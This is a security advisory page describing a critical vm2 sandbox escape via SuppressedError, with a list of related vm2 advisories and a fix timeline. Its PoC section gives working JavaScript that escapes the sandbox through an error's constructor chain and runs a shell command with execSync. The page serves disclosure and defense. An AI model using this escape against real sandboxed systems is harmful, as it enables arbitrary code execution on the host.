Vulnerability GHSA-55hx-c926-fr95
Critical
CRITICAL RISK
CVSS Score: 9.8
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
6 months ago
May 05, 2026 at 04:33 PM UTC
VM2 Has a Sandbox Escape Issue via SuppressedError
0.1.0 - 3.10.5
0.1.0 - 3.10.5
Summary
VM2 Has a Sandbox Escape Issue via SuppressedError
Details
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
Related Vulnerabilities
Other vulnerabilities affecting the same packages
Critical
27 days ago
vm2 contains a sandbox escape vulnerability
0.1.0 - 3.12.0 GHSA-pq68-rvw4-xp4r
0.1.0 - 3.12.0 GHSA-pq68-rvw4-xp4r
Critical
29 days ago
vm2: NodeVM custom resolution bypasses external path boundaries
0.1.0 - 3.12.1 GHSA-5h3f-q97h-ccvc
0.1.0 - 3.12.1 GHSA-5h3f-q97h-ccvc
High Risk
29 days ago
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
0.1.0 - 3.12.1 GHSA-2v2p-6j97-cjg9
0.1.0 - 3.12.1 GHSA-2v2p-6j97-cjg9
Critical
29 days ago
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
0.1.0 - 3.12.1 GHSA-489w-w794-jq94
0.1.0 - 3.12.1 GHSA-489w-w794-jq94
High Risk
29 days ago
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
0.1.0 - 3.11.7 GHSA-f8gf-w286-fmq2
0.1.0 - 3.11.7 GHSA-f8gf-w286-fmq2
Impacted packages
Timeline
Published
6 months ago
May 05, 2026 at 04:33 PM UTC
Fixed (3.11.0)
6 months ago
May 01, 2026 at 08:38 PM UTC
Last Modified
6 hours ago
November 04, 2026 at 03:45 AM UTC